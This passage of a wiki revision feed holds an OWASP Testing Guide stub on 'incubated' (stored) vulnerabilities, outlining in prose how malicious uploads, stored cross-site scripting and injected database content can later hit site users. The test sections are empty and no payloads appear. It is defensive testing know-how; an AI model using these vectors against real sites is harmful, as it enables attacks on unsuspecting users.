&lt;br /&gt;
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=11528</id>
		<title>Testing for Incubated Vulnerability (OTG-INPVAL-015)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=11528"/>
				<updated>2006-11-03T20:36:11Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* Short Description of the Issue (Topic and Explanation) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
&lt;br /&gt;
Exploitation of some vulnerabilities, or even functional features of a web application will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there. &lt;br /&gt;
&lt;br /&gt;
In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site). &lt;br /&gt;
&lt;br /&gt;
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following: &lt;br /&gt;
&lt;br /&gt;
* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)&lt;br /&gt;
&lt;br /&gt;
* Cross-site scripting issues in public forums posts (see XSS description for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board or blog in order to inject some javascript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.&lt;br /&gt;
&lt;br /&gt;
* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary Javascript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [[http://sourceforge.net/projects/xss-proxy]]).&lt;br /&gt;
&lt;br /&gt;
* Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	</feed>